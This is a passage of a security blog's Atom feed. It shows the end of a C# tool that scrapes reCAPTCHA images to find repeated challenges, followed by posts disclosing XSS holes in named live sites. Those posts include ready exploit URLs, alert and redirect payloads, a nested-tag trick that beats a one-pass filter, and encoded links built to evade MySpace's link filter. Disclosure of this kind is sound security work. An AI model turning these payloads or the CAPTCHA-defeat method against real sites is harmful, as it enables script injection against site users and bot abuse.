/&gt;using System.Collections.Generic;&lt;br /&gt;using System.Security.Cryptography;&lt;br /&gt;&lt;br /&gt;namespace reCAPTCHAScrape&lt;br /&gt;{&lt;br /&gt;    class Program&lt;br /&gt;    {&lt;br /&gt;        static string Request(string Url)&lt;br /&gt;        {&lt;br /&gt;            HttpWebRequest request = WebRequest.Create(Url) as HttpWebRequest;&lt;br /&gt;&lt;br /&gt;            string s;&lt;br /&gt;&lt;br /&gt;            using (StreamReader reader =&lt;br /&gt;                new StreamReader(request.GetResponse().GetResponseStream()))&lt;br /&gt;                s = reader.ReadToEnd();&lt;br /&gt;&lt;br /&gt;            return s;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        static void GetCaptchaImage(int FileNum)&lt;br /&gt;        {&lt;br /&gt;            Regex scriptURLRegex =&lt;br /&gt;                new Regex(@"&amp;lt;script\s*type\s*=\s*""text/javascript""\s*" +&lt;br /&gt;                    @"src\s*=\s*""([^""]+)""\s*&amp;gt;&amp;lt;\s*/script&amp;gt;");&lt;br /&gt;&lt;br /&gt;            Regex scriptRegex = new Regex(@"challenge\s*:\s*'([^']+)'");&lt;br /&gt;&lt;br /&gt;            string pageURL = "http://recaptcha.net/fastcgi/demo/recaptcha";&lt;br /&gt;&lt;br /&gt;            string resp = Request(pageURL);&lt;br /&gt;&lt;br /&gt;            string scriptURL = scriptURLRegex.Match(resp).Groups[1].Value;&lt;br /&gt;&lt;br /&gt;            resp = Request(scriptURL);&lt;br /&gt;&lt;br /&gt;            string ID = scriptRegex.Match(resp).Groups[1].Value;&lt;br /&gt;&lt;br /&gt;            string imageURL = "http://api.recaptcha.net/image?c=" + ID;&lt;br /&gt;&lt;br /&gt;            HttpWebRequest request =&lt;br /&gt;                WebRequest.Create(imageURL) as HttpWebRequest;&lt;br /&gt;&lt;br /&gt;            byte[] buffer = new byte[1048576];&lt;br /&gt;&lt;br /&gt;            using (Stream s = request.GetResponse().GetResponseStream())&lt;br /&gt;            {&lt;br /&gt;                int len = s.Read(buffer, 0, 1048576);&lt;br /&gt;&lt;br /&gt;                Array.Resize(ref buffer, len);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            using (FileStream stream = File.Create(FileNum + ".jpg"))&lt;br /&gt;                stream.Write(buffer, 0, buffer.Length);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        static void DigestImages(string Path)&lt;br /&gt;        {&lt;br /&gt;            DirectoryInfo info = new DirectoryInfo(Path);&lt;br /&gt;&lt;br /&gt;            FileInfo[] files = info.GetFiles("*.jpg");&lt;br /&gt;&lt;br /&gt;            MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider();&lt;br /&gt;&lt;br /&gt;            Dictionary&amp;lt;string, List&amp;lt;FileInfo&amp;gt;&amp;gt; digestDictionary =&lt;br /&gt;                new Dictionary&amp;lt;string, List&amp;lt;FileInfo&amp;gt;&amp;gt;();&lt;br /&gt;&lt;br /&gt;            foreach (FileInfo f in files)&lt;br /&gt;            {&lt;br /&gt;                byte[] buffer = File.ReadAllBytes(f.FullName);&lt;br /&gt;&lt;br /&gt;                byte[] digest = md5.ComputeHash(buffer);&lt;br /&gt;&lt;br /&gt;                StringBuilder hexStringBuilder = new StringBuilder();&lt;br /&gt;&lt;br /&gt;                foreach (byte b in digest)&lt;br /&gt;                    hexStringBuilder.Append(Convert.ToString(b,&lt;br /&gt;                        16).PadLeft(2, '0'));&lt;br /&gt;&lt;br /&gt;                string hexString = hexStringBuilder.ToString();&lt;br /&gt;&lt;br /&gt;                if (digestDictionary.ContainsKey(hexString))                &lt;br /&gt;                    digestDictionary[hexString].Add(f);&lt;br /&gt;                else&lt;br /&gt;                    digestDictionary.Add(hexString, new List&amp;lt;FileInfo&amp;gt;() { f });&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            StringBuilder results = new StringBuilder();&lt;br /&gt;&lt;br /&gt;            foreach (string s in digestDictionary.Keys)&lt;br /&gt;            {&lt;br /&gt;                results.AppendLine(s);&lt;br /&gt;&lt;br /&gt;                foreach (FileInfo f in digestDictionary[s])&lt;br /&gt;                    results.AppendLine(f.FullName);&lt;br /&gt;&lt;br /&gt;                results.AppendLine();&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            string filename = @".\Results_" + Environment.TickCount + ".txt";&lt;br /&gt;&lt;br /&gt;            File.WriteAllText(filename, results.ToString());                        &lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        static void Main(string[] args)&lt;br /&gt;        {&lt;br /&gt;            const int imageCount = 1024;&lt;br /&gt;&lt;br /&gt;            Console.Write("Downloading images");&lt;br /&gt;&lt;br /&gt;            for (int i = 0; i &amp;lt; imageCount; i++)&lt;br /&gt;            {&lt;br /&gt;                try&lt;br /&gt;                {&lt;br /&gt;                    GetCaptchaImage(i);&lt;br /&gt;&lt;br /&gt;                    Console.Write(".");&lt;br /&gt;                }&lt;br /&gt;                catch (System.Exception ex)&lt;br /&gt;                {&lt;br /&gt;                    Console.WriteLine(ex.ToString());&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            Console.WriteLine("\r\nSearching for matches...");&lt;br /&gt;&lt;br /&gt;            DigestImages(@".\");&lt;br /&gt;&lt;br /&gt;            Console.WriteLine("Complete. Press any key to continue...");&lt;br /&gt;            Console.ReadKey();&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;A match in the output looks like this:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;cf75401ef23c167260aa6d93bb7fbc42&lt;br /&gt;C:\Source\reCAPTCHAScrape\reCAPTCHAScrape\bin\Debug\533.jpg&lt;br /&gt;C:\Source\reCAPTCHAScrape\reCAPTCHAScrape\bin\Debug\869.jpg&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4661570549272701018?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4661570549272701018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/recaptcha-hack-scraping.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4661570549272701018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4661570549272701018'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2010/03/recaptcha-hack-scraping.html' title='Scraping - reCAPTCHA Hack'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-215368388889300778</id><published>2009-11-02T13:47:00.000-08:00</published><updated>2009-11-02T13:51:00.783-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='ASCII'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Free Rein - MLive.com</title><content type='html'>MLive's profile system has no XSS protection. HTML of any sort can be entered in the About Me field.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://connect.mlive.com/user/XSSBlog/index.html"&gt;http://connect.mlive.com/user/XSSBlog/index.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-215368388889300778?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/215368388889300778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/11/free-rein-mlivecom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/215368388889300778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/215368388889300778'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/11/free-rein-mlivecom.html' title='Free Rein - MLive.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-4017390363886474791</id><published>2009-11-02T13:28:00.000-08:00</published><updated>2009-11-02T13:52:42.225-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='AOL'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='Type 1 XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='msplinks.com'/><title type='text'>More Reflected XSS - AOL.com</title><content type='html'>More of the same.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://messageboards.aol.com/aol/en_us/search.php?search=%22style=%22position:absolute;top:0;left:-500px;width:9999px;height:9999px;%22onmouseover=%22alert(0)&amp;boardId=519911&amp;search_all=0&amp;search_type=2"&gt;http://messageboards.aol.com/aol/en_us/search.php?search="style="position:absolute;top:0;left:-500px;width:9999px;height:9999px;"onmouseover="alert(0)&amp;boardId=519911&amp;search_all=0&amp;search_type=2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://finance.aol.com/lookup/%22style=%22width:9999px;height:9999px;%22onmouseover=%22alert(0)%22%3E/usa"&gt;http://finance.aol.com/lookup/"style="width:9999px;height:9999px;"onmouseover="alert(0)"&gt;/usa&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And of course being a myspace white listed site these can be used to get around msplinks.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.msplinks.com/MDFodHRwOi8vbWVzc2FnZWJvYXJkcy5hb2wuY29tL2FvbC9lbl91cy9zZWFyY2gucGhwP3NlYXJjaD0lMjJzdHlsZT0lMjJwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0Oi01MDBweDt3aWR0aDo5OTk5cHg7aGVpZ2h0Ojk5OTlweDslMjJvbm1vdXNlb3Zlcj0lMjJ3aW5kb3cubG9jYXRpb249J2h0dHA6Ly9jcm9zcy1zaXRlLXNjcmlwdGluZy5ibG9nc3BvdC5jb20nJmJvYXJkSWQ9NTE5OTExJnNlYXJjaF9hbGw9MCZzZWFyY2hfdHlwZT0y"&gt;http://www.msplinks.com/MDFodHRwOi8vbWVzc2FnZWJvYXJkcy5hb2wuY29tL2FvbC9lbl91cy9zZWFyY2gucGhwP3NlYXJjaD0lMjJzdHlsZT0lMjJwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0Oi01MDBweDt3aWR0aDo5OTk5cHg7aGVpZ2h0Ojk5OTlweDslMjJvbm1vdXNlb3Zlcj0lMjJ3aW5kb3cubG9jYXRpb249J2h0dHA6Ly9jcm9zcy1zaXRlLXNjcmlwdGluZy5ibG9nc3BvdC5jb20nJmJvYXJkSWQ9NTE5OTExJnNlYXJjaF9hbGw9MCZzZWFyY2hfdHlwZT0y&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-4017390363886474791?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/4017390363886474791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/11/more-reflected-xss-aolcom.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4017390363886474791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/4017390363886474791'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/11/more-reflected-xss-aolcom.html' title='More Reflected XSS - AOL.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3383257252790732889</id><published>2009-10-04T15:50:00.000-07:00</published><updated>2009-10-04T16:03:06.200-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='myspace.com'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='msplinks.com'/><title type='text'>Bypassing Msplinks.com Revisited - Myspace.com</title><content type='html'>The technique I previously blogged about still works, but ytmnd.com has fixed the XSS vulnerability used in that posting. Here's a hole in another Msplinks.com whitelisted site:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.canada.com/search/search.html?q=')}window.location='http://cross-site-scripting.blogspot.com/';{('"&gt;http://www.canada.com/search/search.html?q=')}window.location='http://cross-site-scripting.blogspot.com/';{('&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Just as before &lt;b&gt;01&lt;/b&gt; is prefixed to the XSS redirect URL, then the result is &lt;a href="http://www.opinionatedgeek.com/dotnet/tools/Base64Encode/Default.aspx"&gt;Base64 encoded&lt;/a&gt; and appended to &lt;b&gt;http://www.msplinks.com/&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.msplinks.com/MDFodHRwOi8vd3d3LmNhbmFkYS5jb20vc2VhcmNoL3NlYXJjaC5odG1sP3E9Jyl9d2luZG93LmxvY2F0aW9uPSdodHRwOi8vY3Jvc3Mtc2l0ZS1zY3JpcHRpbmcuYmxvZ3Nwb3QuY29tLyc7eygn"&gt;http://www.msplinks.com/MDFodHRwOi8vd3d3LmNhbmFkYS5jb20vc2VhcmNoL3NlYXJjaC5odG1sP3E9Jyl9d2luZG93LmxvY2F0aW9uPSdodHRwOi8vY3Jvc3Mtc2l0ZS1zY3JpcHRpbmcuYmxvZ3Nwb3QuY29tLyc7eygn&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3383257252790732889?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3383257252790732889/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/10/bypassing-msplinkscom-revisited.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3383257252790732889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3383257252790732889'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/10/bypassing-msplinkscom-revisited.html' title='Bypassing Msplinks.com Revisited - Myspace.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8771338453335415540</id><published>2009-09-30T18:25:00.001-07:00</published><updated>2009-09-30T18:38:23.982-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='fiddler'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Persistent XSS Vulnerability - Google.com</title><content type='html'>Here's a good one: Google Sidewiki has a type 2 XSS vulnerability. Upon editing an entry (and possibly when adding one, I didn't test it) an HTTP proxy such as Fiddler can be used to alter the &lt;b&gt;pagetitle&lt;/b&gt; field.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_r1bXskT1Xow/SsQGUr5KyII/AAAAAAAAAD8/a2wlM6Zyvb0/s1600-h/Google-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 254px;" src="http://3.bp.blogspot.com/_r1bXskT1Xow/SsQGUr5KyII/AAAAAAAAAD8/a2wlM6Zyvb0/s320/Google-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5387438006691612802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The code replacing the &lt;b&gt;pagetitle&lt;/b&gt; value is as follows.&lt;br /&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;&amp;lt;a&amp;gt;a onmouseout=alert(0)&amp;gt;a&lt;/pre&gt;&lt;br /&gt;The &lt;b&gt;a&lt;/b&gt; tag is stripped out, but as only one pass is performed &lt;b&gt;a&lt;/b&gt; new a tag is created.&lt;br /&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;a onmouseout=alert(0)&amp;gt;a&lt;/pre&gt;&lt;br /&gt;The result is a profile containing the arbitrary code.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_r1bXskT1Xow/SsQH1-OP5XI/AAAAAAAAAEE/NRoqpjB3Gag/s1600-h/Google-2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 227px;" src="http://1.bp.blogspot.com/_r1bXskT1Xow/SsQH1-OP5XI/AAAAAAAAAEE/NRoqpjB3Gag/s320/Google-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5387439678059177330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com/profiles/108489460074237220044?hl=en#sidewiki"&gt;http://www.google.com/profiles/108489460074237220044?hl=en#sidewiki&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-8771338453335415540?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/8771338453335415540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/persistent-xss-vulnerability-googlecom.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8771338453335415540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/8771338453335415540'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/persistent-xss-vulnerability-googlecom.html' title='Persistent XSS Vulnerability - Google.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_r1bXskT1Xow/SsQGUr5KyII/AAAAAAAAAD8/a2wlM6Zyvb0/s72-c/Google-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-1846516454575303509</id><published>2009-09-25T14:45:00.000-07:00</published><updated>2009-09-25T14:57:20.109-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Persistent XSS Vulnerability - IntenseDebate.com</title><content type='html'>The profile description field of Intense Debate has a type 2 XSS vulnerability. Using it, arbitrary code can be run when the affected profile is viewed or when the mouse cursor is over the avatar present next to comments posted by the account.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_r1bXskT1Xow/Sr07ZYT1gsI/AAAAAAAAADs/kj4hmMO4JtA/s1600-h/IntenseDebate-1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 207px;" src="http://2.bp.blogspot.com/_r1bXskT1Xow/Sr07ZYT1gsI/AAAAAAAAADs/kj4hmMO4JtA/s320/IntenseDebate-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5385526036613399234" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/Sr07d6lpG3I/AAAAAAAAAD0/hvSm-xHRZHs/s1600-h/IntenseDebate-2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 207px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/Sr07d6lpG3I/AAAAAAAAAD0/hvSm-xHRZHs/s320/IntenseDebate-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5385526114534366066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="xml"&gt;&amp;lt;a style="position:absolute;top:-500px;left:-500px;width:9999px;height:9999px;" onmouseover="alert(0)"&amp;gt;&amp;lt;/a&amp;gt;&lt;/pre&gt;&lt;br /&gt;&lt;a href="http://intensedebate.com/people/JohnnyCake5"&gt;http://intensedebate.com/people/JohnnyCake5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.woodtv.com/dpp/your_money/wall_street/Stocks_End_Low_As_Healthcare_Recovers_2887663#IDComment35942133"&gt;http://www.woodtv.com/dpp/your_money/wall_street/Stocks_End_Low_As_Healthcare_Recovers_2887663#IDComment35942133&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-1846516454575303509?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/1846516454575303509/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/persistent-xss-vulnerability_25.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1846516454575303509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/1846516454575303509'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/persistent-xss-vulnerability_25.html' title='Persistent XSS Vulnerability - IntenseDebate.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_r1bXskT1Xow/Sr07ZYT1gsI/AAAAAAAAADs/kj4hmMO4JtA/s72-c/IntenseDebate-1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-3302325128751961407</id><published>2009-09-19T13:40:00.000-07:00</published><updated>2009-09-19T14:12:17.437-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='social engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='persistent xss'/><category scheme='http://www.blogger.com/atom/ns#' term='type 2 xss'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Persistent XSS Vulnerability - AssociatedContent.com</title><content type='html'>Several of the fields of Associated Content profile system have persistent XSS vulnerabilities. Such a vulnerability could be used to craft a rather nasty worm.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_r1bXskT1Xow/SrVCVwiPHKI/AAAAAAAAADc/EVbqmLgF-4I/s1600-h/AssociatedContent.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 207px;" src="http://2.bp.blogspot.com/_r1bXskT1Xow/SrVCVwiPHKI/AAAAAAAAADc/EVbqmLgF-4I/s320/AssociatedContent.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5383281871164480674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_r1bXskT1Xow/SrVDRr4xS5I/AAAAAAAAADk/FGVLm8kp3dI/s1600-h/AssociatedContent-2.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 194px;" src="http://3.bp.blogspot.com/_r1bXskT1Xow/SrVDRr4xS5I/AAAAAAAAADk/FGVLm8kp3dI/s320/AssociatedContent-2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5383282900708969362" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The code shown in the screenshots is as follows:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;"style="position:absolute;top:0;left:0;width:9999px;height:9999px;"onmouseover="alert(0)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.associatedcontent.com/user/631547/xss_blog.html"&gt;http://www.associatedcontent.com/user/631547/xss_blog.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-3302325128751961407?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/3302325128751961407/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/persistent-xss-vulnerability.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3302325128751961407'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/3302325128751961407'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/09/persistent-xss-vulnerability.html' title='Persistent XSS Vulnerability - AssociatedContent.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_r1bXskT1Xow/SrVCVwiPHKI/AAAAAAAAADc/EVbqmLgF-4I/s72-c/AssociatedContent.png' height='72' 